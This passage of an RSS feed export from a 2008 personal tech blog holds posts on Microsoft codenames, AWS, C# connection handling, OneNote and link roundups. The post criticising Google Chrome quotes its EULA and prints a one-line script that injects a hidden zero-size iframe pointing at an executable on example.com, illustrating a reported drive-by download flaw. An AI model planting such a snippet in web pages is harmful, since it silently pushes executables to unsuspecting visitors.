		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Server 2008 R2
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/sqlserver/2008/en/us/overview.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SQL Server 2008
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Windows “&lt;a
	
		href = &#34;http://winfuture.de/screenshots/Windows-7-Meilenstein-3-Build-6.1.6801-3540-1.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		7
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;Office “&lt;a
	
		href = &#34;http://www.activewin.com/awin/comments.asp?HeadlineIndex=38339&amp;amp;Group=1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		14
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;Visual Studio 2010 (“&lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/vsts2008/products/bb725993.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rosario
	&lt;/span&gt;
&lt;/a&gt;”)&lt;/li&gt;
&lt;li&gt;“&lt;a
	
		href = &#34;http://www.itproportal.com/articles/2008/04/09/microsofts-red-dog-compete-google-apps-engine-and-amazons-ec2/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Red Dog
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;“&lt;a
	
		href = &#34;http://www.theregister.co.uk/2008/10/09/windows_strata_cloud/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Strata
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;“&lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=1503&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Zurich
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;“&lt;a
	
		href = &#34;http://www.microsoft.com/soa/products/oslo.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Oslo
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.msdn.com/somasegar/archive/2008/09/29/what-s-next-for-visual-studio-and-net-fx.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		.NET 4.0
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;“&lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=1631&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		M
	&lt;/span&gt;
&lt;/a&gt;” and “Quadrant”&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.mesh.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mesh
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;SQL Server “&lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=1621&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kilimanjaro
	&lt;/span&gt;
&lt;/a&gt;” and Project “Madison”&lt;/li&gt;
&lt;li&gt;“&lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=1614&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Dublin
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;li&gt;Exchange “&lt;a
	
		href = &#34;http://exchange-genie.blogspot.com/2007/12/exchange-14-behind-scene.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		14
	&lt;/span&gt;
&lt;/a&gt;”&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Sigh, so much to learn/play-with and so little time! &lt;p&gt;

    &lt;img src=&#34;images/emotion-6.gif&#34; alt=&#34;Sad&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt; Added #16&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5233&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Amazon Cloud Services support Oracle</title>
      <link>/post/2008/09/amazon-cloud-services-support-oracle/</link>
      <pubDate>Wed, 24 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/amazon-cloud-services-support-oracle/</guid>
      <description>&lt;p&gt;Interesting to see how &lt;a
	
		href = &#34;http://aws.amazon.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Amazon Web Services (AWS)
	&lt;/span&gt;
&lt;/a&gt; has expanded; in addition to &lt;a
	
		href = &#34;http://aws.amazon.com/simpledb/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SimpleDB
	&lt;/span&gt;
&lt;/a&gt; now they &lt;a
	
		href = &#34;http://aws.amazon.com/solutions/featured-partners/oracle/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		support Oracle
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://aws.amazon.com/solutions/featured-partners/mysql/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		mySQL
	&lt;/span&gt;
&lt;/a&gt; – this certainly ups the ante and will make it more enticing for Enterprises to hop onto this. I have been using S3 for a some time now where my WHS is backing up and have been quite pleased.&lt;/p&gt;
&lt;p&gt;It will be interesting to see how &lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=1503&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Zurich
	&lt;/span&gt;
&lt;/a&gt; responds with SQL Server. I wish I could say more. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5232&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drool!</title>
      <link>/post/2008/09/drool/</link>
      <pubDate>Mon, 22 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/drool/</guid>
      <description>&lt;p&gt;Just what to save up your gadget allowance for – &lt;a
	
		href = &#34;http://www.engadget.com/2008/09/22/dell-teases-with-17-inch-quad-core-laptop-with-16gb-of-memory/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		quad proc, 16 GB RAM 1 TB HDD laptop
	&lt;/span&gt;
&lt;/a&gt; from Dell!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5230&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Floppy Disk Drive</title>
      <link>/post/2008/09/floppy-disk-drive/</link>
      <pubDate>Mon, 22 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/floppy-disk-drive/</guid>
      <description>&lt;p&gt;Some people just have too much time on their hands!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/Floppy-Disk-Art-Car2.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;{&lt;a
	
		href = &#34;http://artcar.blogspot.com/2007/12/floppy-disk-art-car_26.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		via Artcar
	&lt;/span&gt;
&lt;/a&gt;}&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Avoid using “using()”</title>
      <link>/post/2008/09/avoid-using-using/</link>
      <pubDate>Sun, 21 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/avoid-using-using/</guid>
      <description>&lt;p&gt;The &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/library/yh598w02%28VS.80%29.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		using statement
	&lt;/span&gt;
&lt;/a&gt; in C#, seems to be quite useful especially to a developer as theoretically, you not have to do anything to release any memory you might have used and the CLR automatically frees up this memory for you.&lt;/p&gt;
&lt;p&gt;However, over time, I have had so many issues with it and subtle problems (in certain situations) I am starting to avoid it now.&lt;/p&gt;
&lt;p&gt;The two best examples that I can think of are database connection pools and WCF connections. You might think that a “using” statement would close the connection and free up the resources when the scope finishes – but it does not. If you are thinking that a &lt;code&gt;“Close()”&lt;/code&gt; is called for you automatically, you might be surprised to know that &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/library/aa355056.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		it is not
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For example if you are using a connection pool, over time you will get timeout errors (which are quite difficult to track down if you got some intelligent tool creating your DALs for you). This of course is because the connections are not closed and overtime you end up exhausting your pool. To avoid this you should explicitly call a &lt;code&gt;“close()”&lt;/code&gt; method.&lt;/p&gt;
&lt;p&gt;Similar story with WCF. If you find that after a few calls (or over some longer period of time), if you start seeing some degradation in performance and your response times taking a long time, then you need to explicitly close the connection as the using statement will not do it for you.&lt;/p&gt;
&lt;p&gt;Also, if you are testing your WCF service on XP/Vista you might hit the built-in limit that limits the number of concurrent connections that XP/Vista allow.&lt;/p&gt;
&lt;p&gt;Lastly, if you are using WCF, if possible then upgrade to .NET 3.5 as there are a &lt;a
	
		href = &#34;http://blogs.msdn.com/wenlong/archive/2007/10/27/performance-improvement-of-wcf-client-proxy-creation-and-best-practices.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		lot of benefits
	&lt;/span&gt;
&lt;/a&gt; which can get out of the box.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Nerd Test Results</title>
      <link>/post/2008/09/nerd-test-results/</link>
      <pubDate>Sun, 21 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/nerd-test-results/</guid>
      <description>&lt;p&gt;My Nerd Test results … hmm …&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.nerdtests.com/ft_nt2.php&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/d81440aaadd66f01.png&#34; alt=&#34;NerdTests.com says I&amp;rsquo;m a Mega-Dorky Nerd Queen.  What are you?  Click here!&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>OneNote Screen Clipping</title>
      <link>/post/2008/09/onenote-screen-clipping/</link>
      <pubDate>Wed, 10 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/onenote-screen-clipping/</guid>
      <description>&lt;p&gt;I have been using the Screen Clipping functionality for years in OneNote (if you don’t know what I am talking about then press the Win + S key – of course you need OneNote installed). It always copied it to OneNote, from where I would copy the image and paste it wherever needed. I did not know until today there is an option where you can select it to go to the clipboard as well. Duh! Why did I not think of checking this out sooner – bets me.&lt;/p&gt;
&lt;p&gt;Right click on the OneNote tracy icon, select Options =&amp;gt; Screen Clipping defaults as shown below.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/OneNoteScreenClipping_14241/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;image&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Does the world end today?</title>
      <link>/post/2008/09/does-the-world-end-today/</link>
      <pubDate>Mon, 08 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/does-the-world-end-today/</guid>
      <description>&lt;p&gt;As the &lt;a
	
		href = &#34;http://public.web.cern.ch/Public/en/LHC/LHC-en.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Large Hadron Collider
	&lt;/span&gt;
&lt;/a&gt; is switched on today, &lt;a
	
		href = &#34;http://www.guardian.co.uk/science/2008/sep/08/particlephysics.physics&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		the Guardian has a story
	&lt;/span&gt;
&lt;/a&gt; saying that there are many people calling the &lt;a
	
		href = &#34;http://public.web.cern.ch/Public/Welcome.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		CERN
	&lt;/span&gt;
&lt;/a&gt; to find out if the world ends today? Apparently is completely safe and will not be doing anything that has not happened &amp;lsquo;100,000 times over&amp;rsquo; in nature since the earth has existed.&lt;/p&gt;
&lt;p&gt;If you see another post here after today, I guess the mini-black holes did not suck in everything! 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #16</title>
      <link>/post/2008/09/interesting-find-16/</link>
      <pubDate>Mon, 08 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/interesting-find-16/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://maps.met.police.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Crime Mapping for London
	&lt;/span&gt;
&lt;/a&gt; – cool.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.codeproject.com/KB/system/EnvMan.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EnvMan
	&lt;/span&gt;
&lt;/a&gt; – easier way of managing environment variables.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.hitmelater.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hit Me Later
	&lt;/span&gt;
&lt;/a&gt; – snooze your email – pretty cool idea; not sure of privacy related issues though.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.simplynoise.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SimplyNoise
	&lt;/span&gt;
&lt;/a&gt; – white noise generator which helps you find the comfort Zen and either work (blocking distractions), aid sleep, soothe migraines, etc.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://blogs.technet.com/markrussinovich/archive/2008/07/21/3092070.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pushing the limits of Windows
	&lt;/span&gt;
&lt;/a&gt; - with 2 TB of RAM running on a 64 proc machine – sweet! I wonder what would the size of &lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/library/ms680369%28VS.85%29.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Minidump
	&lt;/span&gt;
&lt;/a&gt; will be on that?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://msdn.microsoft.com/en-us/library/cc305187.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Windows Performance Toolkit (WPT)
	&lt;/span&gt;
&lt;/a&gt; – allows you to capture and analyse traces and state transitions to help improve the performance of Windows. I personally am quite interesting in making my tablet boot faster.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.cuil.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Cuil
	&lt;/span&gt;
&lt;/a&gt; – new search engine; though Google might be safe (for now). Not sure how it searches but &lt;a
	
		href = &#34;http://www.cuil.com/search?q=desigeek.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		searching for this blog
	&lt;/span&gt;
&lt;/a&gt; interestingly does pick it up, but also picks up some obscure links such as my &lt;a
	
		href = &#34;http://users.ox.ac.uk/~cont3286/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Oxford page
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://londonfreeschool.wordpress.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		London Free School
	&lt;/span&gt;
&lt;/a&gt; – hmm … weird! {via &lt;a
	
		href = &#34;http://karan.org/blog/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Karan
	&lt;/span&gt;
&lt;/a&gt;}&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://research.microsoft.com/AutoCollage/Default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		AutoCollage 2008
	&lt;/span&gt;
&lt;/a&gt; – MSR project which helps celebrate important events and themes. Pick a folder, press a button, and in a few minutes this presents you with a unique memento to print or email to your family and friends.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.moonsus.com/index.cfm?action=c_moonsus.displayHome&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Moonsus
	&lt;/span&gt;
&lt;/a&gt; – cool laptop bags – is it good enough to make the wife forget the &lt;a
	
		href = &#34;http://www.louisvuitton.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		stupid bags
	&lt;/span&gt;
&lt;/a&gt;? 😉&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://robburke.net/images/deeplol.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Full of Kittens
	&lt;/span&gt;
&lt;/a&gt; – showing off how to use Silverlight and DeepZoom – if you not sure what you are looking at double click on the image and shift-click to zoom out.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.infoworld.com/article/08/07/29/Microsoft_prepares_for_end_of_Windows_with_Midori_1.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Midori
	&lt;/span&gt;
&lt;/a&gt; – a componentized non-Windows Microsoft OS; quite &lt;a
	
		href = &#34;http://www.sdtimes.com/MICROSOFT_S_PLANS_FOR_POST_WINDOWS_OS_REVEALED/About_CLOUDCOMPUTING_and_MOBILEDEVELOPMENT_and_NET_and_SOASAAS_and_SOFTWAREDEVELOPMENT_and_WINDOWS_and_MICROSOFT/32627&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		interesting reading
	&lt;/span&gt;
&lt;/a&gt; talking about a asynchronous-only architecture that is built for task concurrency and parallel use of local and distributed resources, with a distributed component-based and data-driven application model, and dynamic management of power and other resources.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Chrome? Nah, I’ll pass</title>
      <link>/post/2008/09/chrome-nah-i-will-pass/</link>
      <pubDate>Wed, 03 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/chrome-nah-i-will-pass/</guid>
      <description>&lt;p&gt;You must have heard of &lt;a
	
		href = &#34;http://www.google.com/chrome&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Chrome
	&lt;/span&gt;
&lt;/a&gt; by now – the brand spanking new browser from Google. If you think it was the best thing since sliced bread you need to wake up and smell the fish.&lt;/p&gt;
&lt;p&gt;For me the main deal breaker is the EULA they have for Chrome. As per the EULA anything you use to upload, browse, etc using Chrome you are giving Google &lt;em&gt;the right a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;This means anything work related I do – something as simple as searching the intranet to something more sensitive as responding to an RFP can be posted or displayed by Google. Needless to say most of us won’t be using this at work. Here is the full Section 11 from the &lt;a
	
		href = &#34;http://www.google.com/chrome/eula.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EULA
	&lt;/span&gt;
&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;11. Content licence from you&lt;/p&gt;
&lt;p&gt;11.1 You retain copyright and any other rights that you already hold in Content that you submit, post or display on or through the Services. By submitting, posting or displaying the content, you give Google a perpetual, irrevocable, worldwide, royalty-free and non-exclusive licence to reproduce, adapt, modify, translate, publish, publicly perform, publicly display and distribute any Content that you submit, post or display on or through the Services. This licence is for the sole purpose of enabling Google to display, distribute and promote the Services and may be revoked for certain Services as defined in the Additional Terms of those Services.&lt;/p&gt;
&lt;p&gt;11.2 You agree that this licence includes a right for Google to make such Content available to other companies, organisations or individuals with whom Google has relationships for the provision of syndicated services and to use such Content in connection with the provision of those services.&lt;/p&gt;
&lt;p&gt;11.3 You understand that Google, in performing the required technical steps to provide the Services to our users, may (a) transmit or distribute your Content over various public networks and in various media; and (b) make such changes to your Content as are necessary to conform and adapt that Content to the technical requirements of connecting networks, devices, services or media. You agree that this licence shall permit Google to take these actions.&lt;/p&gt;
&lt;p&gt;11.4 You confirm and warrant to Google that you have all the rights, power and authority necessary to grant the above licence.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;So whenever Google releases the new-uber-cool hammer, this is what it will look like:&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/2elcyuh.jpg&#34; alt=&#34;google hammer&#34;/&gt;
        &lt;figcaption&gt;google hammer&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Of course, there is a big backlash on this and there is some talk from Google on changing this. I wonder how quickly they forgot their “Don’t do Evil” mantra?&lt;/p&gt;
&lt;p&gt;My second beef was when this is installed why is it in some obscure location such as &lt;code&gt;AppData\Local\Global&lt;/code&gt; (e.g. on Vista this will be installed at &lt;code&gt;C:\Users\%userprofile%\AppData\Local\Google\Chrome\Application&lt;/code&gt;) – what is wrong with something like &lt;code&gt;%SYSTEM%\Google\Chrome&lt;/code&gt;? Of course this causes more interesting issues if more than one users use the same computer.&lt;/p&gt;
&lt;p&gt;The third issue while is related to installation and is a little different. Why does this bypass the Windows UAC? No matter what the negative press on UAC, it is good and should not be bypassed. Maybe this is some new bug on UAC? (I am speculating at this point mind you, I have not had time to check it out in detail).&lt;/p&gt;
&lt;p&gt;Security is the next problem. Apparently there is an &lt;a
	
		href = &#34;http://www.milw0rm.com/exploits/6355&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		automatic file download exploit
	&lt;/span&gt;
&lt;/a&gt; and a &lt;a
	
		href = &#34;http://blogs.zdnet.com/security/?p=1843&amp;amp;tag=nl.e539&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		carpet bombing
	&lt;/span&gt;
&lt;/a&gt; flaw. For example the file download exploit can look something like:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt; document.write(&#39;&amp;lt;iframe src=&amp;quot;http://www.example.com/hello.exe&amp;quot; frameborder=&amp;quot;0&amp;quot; width=&amp;quot;0&amp;quot; height=&amp;quot;0&amp;quot;&amp;gt;&#39;); &amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;On the positive sides, there are some cool features such as the &lt;a
	
		href = &#34;http://img141.imageshack.us/img141/120/chromesecretzq2.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		hidden features
	&lt;/span&gt;
&lt;/a&gt; where you can see some interesting things such as dns details, histograms, network diags, etc. Here is a list of some of the commands available:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;about:histograms&lt;/li&gt;
&lt;li&gt;about:dns&lt;/li&gt;
&lt;li&gt;about:stats&lt;/li&gt;
&lt;li&gt;about:network&lt;/li&gt;
&lt;li&gt;about:plugins&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lastly, try typing “evil:%” (without quotes) and see what happens! 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #15</title>
      <link>/post/2008/09/interesting-find-15/</link>
      <pubDate>Mon, 01 Sep 2008 00:00:00 +0000</pubDate>
      
      <guid>/post/2008/09/interesting-find-15/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.sharedview.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Shared View
	&lt;/span&gt;
&lt;/a&gt; from Microsoft - a fast, easy way to share documents and screen views with small groups anytime, anywhere and works across physical boundaries, through firewalls, and down to the smallest details.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://insentient.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Switcher
	&lt;/span&gt;
&lt;/a&gt; - gets &lt;a
	
		href = &#34;http://en.wikipedia.org/wiki/Expos%C3%A9_%28Mac_OS_X%29&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Expose
	&lt;/span&gt;
&lt;/a&gt; (from Mac) on Windows very cool! (you need Vista + Aero)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.theregister.co.uk/2008/08/01/visual_studio/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		VS.NET 2008 SP1
	&lt;/span&gt;
&lt;/a&gt; likely to come later this year adds a lot of new stuff.&lt;/li&gt;
&lt;li&gt;SMS things (only if you are in the US)
&lt;ul&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://sms411.net/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SMS411
	&lt;/span&gt;
&lt;/a&gt; - helps you send SMS to phone&amp;rsquo;s on specific carriers in the US.&lt;/li&gt;
&lt;li&gt;&lt;a
	
